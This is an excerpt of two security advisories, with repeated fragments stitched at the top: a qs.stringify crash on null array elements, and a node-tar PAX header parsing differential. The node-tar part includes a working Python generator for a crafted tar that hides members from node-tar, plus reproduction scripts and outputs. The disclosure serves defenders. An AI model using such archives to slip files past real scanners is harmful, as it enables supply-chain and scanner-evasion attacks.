Per POSIX pax, a PAX extended header (x) describes the next file entry, not the intermediary extension headers that may sit between the x header and the file it annotates. Because node-tar lets the PAX size override the byte length of an intervening L/K/x header, an attacker can desynchronize node-tar\u0027s stream cursor relative to every other mainstream tar implementation (GNU tar, libarchive/bsdtar, Python tarfile, and the now-fixed tar-rs / astral-tokio-tar). The result is a tar parser interpretation differential (CWE-436): a single crafted archive yields a different set of members under node-tar than under the reference tar tools. An attacker can use this to hide a member from one parser while it is visible to another, which defeats security tooling whose scanner and extractor disagree on archive contents (e.g. a malware/secret scanner that lists entries with one library while a downstream step extracts with another) This vulnerability is fixed in 7.5.16."

The \"kills the worker process\" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled.\n\n\n\nThe vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`)."

  "details": "### Summary\n\n`qs.stringify` throws `TypeError` when called with `arrayFormat: \u0027comma\u0027` and `encodeValuesOnly: true` on an array containing `null` or `undefined`. The throw is synchronous and not handled by any of qs\u0027s null-related options (`skipNulls`, `strictNullHandling`).\n\n### Details\n\nIn the comma + `encodeValuesOnly` branch, `lib/stringify.js:145` mapped the array through the raw encoder before joining:\n\n```js\nobj = utils.maybeMap(obj, encoder);\n```\n\n`utils.encode` (`lib/utils.js:195`) reads `str.length` with no null guard, so a `null` or `undefined` element throws `TypeError`. `skipNulls` and `strictNullHandling` are both checked in the per-element loop below this line and never get a chance to run.\n\nSame class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + `encodeValuesOnly` branch was introduced in 4c4b23d (\"encode comma values more consistently\", PR #463, 2023-01-19), first released in v6.11.1.\n\n#### PoC\n\n```js\nconst qs = require(\u0027qs\u0027);\n\nqs.stringify({ a: [null, \u0027b\u0027] },      { arrayFormat: \u0027comma\u0027, encodeValuesOnly: true });\nqs.stringify({ a: [undefined, \u0027b\u0027] }, { arrayFormat: \u0027comma\u0027, encodeValuesOnly: true });\nqs.stringify({ a: [null] },           { arrayFormat: \u0027comma\u0027, encodeValuesOnly: true });\n// TypeError: Cannot read properties of null (reading \u0027length\u0027)\n//     at encode (lib/utils.js:195:13)\n//     at Object.maybeMap (lib/utils.js:322:37)\n//     at stringify (lib/stringify.js:145:25)\n```\n\n#### Fix\n\n`lib/stringify.js:145`, applied in 21f80b3 on `main`:\n\n```diff\n- obj = utils.maybeMap(obj, encoder);\n+ obj = utils.maybeMap(obj, function (v) {\n+     return v == null ? v : encoder(v);\n+ });\n```\n\n`null` and `undefined` now pass through `maybeMap` unchanged and reach the `join(\u0027,\u0027)` step as-is. For `{ a: [null, \u0027b\u0027] }` this produces `a=,b`, matching the non-`encodeValuesOnly` comma path (which already joins before encoding and produces `a=%2Cb` for the same input). Single-element `[null]` arrays still collapse via the existing `obj.join(\u0027,\u0027) || null` and remain subject to `skipNulls` / `strictNullHandling` in the main loop.\n\n### Affected versions\n\n`\u003e=6.11.1 \u003c=6.15.1`\n\nThe vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions \u2014 including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 \u2014 implemented the comma + `encodeValuesOnly` path differently (joining before encoding) and are not affected. Empirically verified across released versions.\n\n### Impact\n\nApplication code that calls `qs.stringify` with both `arrayFormat: \u0027comma\u0027` and `encodeValuesOnly: true` (both non-default) on input that may contain a `null` or `undefined` array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework\u0027s error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The \"kills the worker process\" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled.\n\nThe vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`).",

  "details": "### Summary\n\n`tar` (node-tar) applies a PAX extended header\u0027s `size=` record (and other PAX\noverrides) to the **next header entry of any type**, including intermediary\nmetadata headers such as a GNU long-name (`L`) or long-link (`K`) entry. Per\nPOSIX pax, a PAX extended header (`x`) describes the *next file entry*, not the\nintermediary extension headers that may sit between the `x` header and the file\nit annotates. Because node-tar lets the PAX `size` override the byte length of\nan intervening `L`/`K`/`x` header, an attacker can desynchronize node-tar\u0027s\nstream cursor relative to every other mainstream tar implementation\n(GNU tar, libarchive/bsdtar, Python `tarfile`, and the now-fixed `tar-rs` /\n`astral-tokio-tar`).\n\nThe result is a tar parser **interpretation differential** (CWE-436): a single\ncrafted archive yields a different set of members under node-tar than under the\nreference tar tools. An attacker can use this to hide a member from one parser\nwhile it is visible to another, which defeats security tooling whose scanner and\nextractor disagree on archive contents (e.g. a malware/secret scanner that lists\nentries with one library while a downstream step extracts with another). node-tar\nis one of the most widely deployed JavaScript tar libraries (it backs `npm`\u0027s own\npackage-tarball handling and is a transitive dependency of a very large fraction\nof the npm ecosystem), so the blast radius for \"files that extract differently\ndepending on the tool\" is broad.\n\nThis is the same root cause and fix that was just addressed upstream in the Rust\ntar ecosystem (`tar-rs` / `astral-tokio-tar`); node-tar carries the equivalent\ndefect and has no equivalent guard.\n\n### Impact\n\n- CWE-436 Interpretation Conflict / inconsistent tar parsing (the same class as\n  the prior tar \"smuggling\" advisories GHSA-j5gw-2vrg-8fgx and\n  GHSA-fp55-jw48-c537).\n- A crafted archive can present one logical member list to a tool that lists or\n  scans with node-tar and a different member list to GNU tar / libarchive /\n  Python tarfile (and vice versa). This lets a malicious file be hidden from a\n  scanner that uses a different parser than the eventual extractor, or hidden\n  from node-tar-based inspection while still landing on disk via a system `tar`.\n- No authentication is required; the only precondition is that a victim parses\n  an attacker-supplied tar with node-tar. Tar archives are routinely fetched\n  from untrusted sources (package registries, user uploads, CI artifacts,\n  container layers).\n- Severity: Medium. Impact is integrity-of-archive-interpretation, not direct\n  RCE; it is a building block for supply-chain / scanner-evasion attacks rather\n  than a standalone code-execution primitive.\n\n### Vulnerable code (file:line)\n\n`src/header.ts` (compiled to `dist/esm/header.js:49` and\n`dist/commonjs/header.js:85` in the published `tar@7.5.15`):\n\n```ts\n// Header.decode(buf, off, ex, gex)\nthis.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)\n```\n\n`ex` is the currently-accumulated PAX **local** extended header and `gex` the\nPAX **global** header. The `size` override from `ex`/`gex` is applied\nunconditionally to whatever header is being decoded next \u2014 there is no check\nthat the header being decoded is a real *file* entry rather than an intermediary\nextension header.\n\n`src/parse.ts`, `[CONSUMEHEADER]` constructs the next header with the current\n`EX`/`GEX` applied:\n\n```ts\nconst header = new Header(chunk, position, this[EX], this[GEX])\n```\n\nand later branches on whether that header is a metadata entry. `this[EX]` is\ncleared only in the non-meta (real file) branch:\n\n```ts\nif (entry.meta) {\n  // L / K / x / g metadata entries: this[EX] is left intact here\n  if (entry.size \u003e this.maxMetaEntrySize) {\n    entry.ignore = true\n    this[STATE] = \u0027ignore\u0027\n    entry.resume()\n  } else if (entry.size \u003e 0) {\n    this[META] = \u0027\u0027\n    entry.on(\u0027data\u0027, c =\u003e (this[META] += c))\n    this[STATE] = \u0027meta\u0027\n  }\n} else {\n  this[EX] = undefined   // EX cleared only once a real file entry is reached\n}\n```\n\nWhen the stream is ordered `x (PAX, size=N) -\u003e L (GNU long-name) -\u003e file`, the\n`L` header is constructed with `this[EX]` still set, so its `size`/`remain`\nbecomes `N` instead of the `L` payload\u0027s true length. node-tar then consumes `N`\nbytes of \"metadata\" and resumes header parsing at the wrong offset, landing\nmid-stream. Every other mainstream parser applies the PAX `size` only to the\nfollowing *file* entry, so they stay synchronized.\n\nThe correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is\nto **not** apply PAX `size`/overrides when the entry being decoded is itself an\nextension header (`L` GNU long-name, `K` GNU long-link, `x` PAX local, `g` PAX\nglobal).\n\n### How input reaches the sink\n\n`tar.list()`, `tar.extract()`/`tar.x()`, and `tar.Parse`/`tar.Unpack` all route\nevery 512-byte header block through `Header.decode(...)` with the\ncurrently-accumulated `EX`/`GEX`. Any consumer that parses an attacker-supplied\narchive \u2014 `tar.list`, `tar.extract`, or piping into the streaming `Parser` \u2014\nreaches the sink. No options need to be enabled; the default code path is\naffected.\n\n### Proof of concept\n\nArchive layout (all standard, GNU-tar-producible blocks):\n\n```\nblock 0 : x  header  (PAX local extended, typeflag \u0027x\u0027), its own size = len(pax body)\nblock 1 : x  payload : the single PAX record  \"...size=2048\\n\"\nblock 2 : L  header  (GNU long-name \u0027././@LongLink\u0027), real size = 13\nblock 3 : L  payload : \"longname.txt\\0\"      (the long name for the next file)\nblock 4 : file header \u0027file_a\u0027, size = 16\nblock 5 : file_a body (16 bytes, zero-padded to 512)\nblock 6 : file header \u0027file_b\u0027, size = 16\nblock 7 : file_b body (16 bytes, zero-padded to 512)\n```\n\nGenerator (`make_tar.py`, pure stdlib, no external deps):\n\n```python\ndef hdr(name, size, typeflag):\n    h = bytearray(512); name = name[:100]; h[0:len(name)] = name\n    h[100:108] = b\u00270000644\\0\u0027; h[108:116] = b\u00270000000\\0\u0027; h[116:124] = b\u00270000000\\0\u0027\n    h[124:136] = (\u0027%011o\\0\u0027 % size).encode(); h[136:148] = b\u002700000000000\\0\u0027\n    h[156:157] = typeflag; h[257:263] = b\u0027ustar\\0\u0027; h[263:265] = b\u002700\u0027\n    h[148:156] = b\u0027 \u0027 * 8\n    cs = sum(h); h[148:156] = (\u0027%06o\\0 \u0027 % cs).encode()\n    return bytes(h)\n\ndef pad(d):\n    return d + b\u0027\\0\u0027 * ((512 - len(d) % 512) % 512)\n\ndef pax_record(key, val):              # length-prefixed PAX record \"LEN key=val\\n\"\n    body = b\u0027 %s=%s\\n\u0027 % (key.encode(), str(val).encode()); n = len(body)\n    while True:\n        s = str(n).encode() + body\n        if len(s) == n: break\n        n = len(s)\n    return s\n\npax = pax_record(\u0027size\u0027, 2048)         # malicious: claim size=2048 for the \"next\" entry\nout  = hdr(b\u0027PaxHeaders/x\u0027, len(pax), b\u0027x\u0027) + pad(pax)\nout += hdr(b\u0027././@LongLink\u0027, 13, b\u0027L\u0027) + pad(b\u0027longname.txt\\0\u0027)\nout += hdr(b\u0027file_a\u0027, 16, b\u00270\u0027)        + pad(b\u0027AAAA_file_a_body\u0027)\nout += hdr(b\u0027file_b\u0027, 16, b\u00270\u0027)        + pad(b\u0027BBBB_file_b_body\u0027)\nout += b\u0027\\0\u0027 * 1024\nopen(\u0027pax-desync.tar\u0027, \u0027wb\u0027).write(out)\n```\n\nA negative-control archive is identical except the PAX record is\n`pax_record(\u0027comment\u0027, \u0027x\u0027)` (no `size=`), written to `pax-control.tar`.\n\n### End-to-end reproduction (against pinned version `tar@7.5.15`, latest release)\n\nInstall the published package into a clean project and parse both archives:\n\n```\n$ npm init -y \u003e/dev/null \u0026\u0026 npm install tar@7.5.15\n$ node -e \"console.log(require(\u0027tar/package.json\u0027).version)\"\n7.5.15\n$ grep -n \"ex?.size ?? gex?.size\" node_modules/tar/dist/esm/header.js\n49:        this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);\n```\n\n`e2e.mjs`:\n\n```js\nimport * as tar from \u0027tar\u0027\nasync function listEntries(f){\n  const got=[], warns=[]\n  await tar.list({ file:f, onReadEntry:e=\u003e{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() },\n                   onwarn:(code,_msg)=\u003ewarns.push(code) })\n  return { got, warns }\n}\nconst mal = await listEntries(\u0027pax-desync.tar\u0027)\nconsole.log(\u0027MALICIOUS entries :\u0027, JSON.stringify(mal.got), \u0027warnings:\u0027, JSON.stringify(mal.warns))\nconst ctl = await listEntries(\u0027pax-control.tar\u0027)\nconsole.log(\u0027CONTROL  entries :\u0027, JSON.stringify(ctl.got), \u0027warnings:\u0027, JSON.stringify(ctl.warns))\n```\n\nVerbatim output:\n\n```\n=== Deployed-consumer E2E: npm tar@7.5.15 (latest release) ===\n\n[MALICIOUS] archive = x(PAX size=2048) -\u003e L(GNU longname \"longname.txt\") -\u003e file_a(16B) -\u003e file_b(16B)\n  tar.list() entries : []\n  tar.list() warnings: [\"TAR_ENTRY_INVALID\"]\n\n[NEGATIVE CONTROL] same archive, PAX record is \"comment=x\" (no size= override)\n  tar.list() entries : [{\"path\":\"longname.txt\",\"size\":16,\"type\":\"File\"},{\"path\":\"file_b\",\"size\":16,\"type\":\"File\"}]\n  tar.list() warnings: []\n```\n\nReference parsers on the **same** `pax-desync.tar`:\n\n```\n$ tar tvf pax-desync.tar\n-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt          # GNU tar\n\n$ bsdtar tvf pax-desync.tar\n-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt          # libarchive\n\n$ python3 -c \"import tarfile; print([m.name for m in tarfile.open(\u0027pax-desync.tar\u0027).getmembers()])\"\n[\u0027longname.txt\u0027]                                                      # Python tarfile\n```\n\nInterpretation differential: GNU tar, libarchive (bsdtar), and Python `tarfile`\nall extract the member `longname.txt` from `pax-desync.tar`, whereas node-tar\n`7.5.15` desynchronizes, raises `TAR_ENTRY_INVALID` (checksum failure from\nlanding mid-stream), and reports **zero** members. The negative control proves\nthe divergence is caused solely by the PAX `size=` override being applied to the\nintermediary `L` header \u2014 when the same archive carries a PAX record without\n`size=`, node-tar parses it identically to the reference tools\n(`longname.txt`, `file_b`).\n\n### Suggested fix\n\nWhen decoding a header, do not apply PAX `size` (or other PAX overrides) if the\nheader being decoded is itself an extension header. Concretely, in\n`src/parse.ts` clear/ignore `this[EX]` (and `this[GEX]` for `size`) when the\nheader\u0027s type is `ExtendedHeader`, `GlobalExtendedHeader`, `NextFileHasLongPath`\n(GNU `L`), or `NextFileHasLongLinkpath` (GNU `K`); equivalently, in\n`Header.decode`, gate the `ex?.size ?? gex?.size` override on the decoded type\nnot being one of those extension types. This mirrors the upstream Rust fix,\nwhich guards `pax_size` with\n`is_gnu_longname || is_gnu_longlink || is_pax_local_extensions || is_pax_global_extensions`.\n\nA fix PR is being prepared against a private fork and will be linked here.\n\n### Fix PR\n\nTo be linked from a private fork of the repository (the fix will not be pushed\nto any public fork or to upstream during embargo).\n\n### Credits\n\nReported by tonghuaroot.",
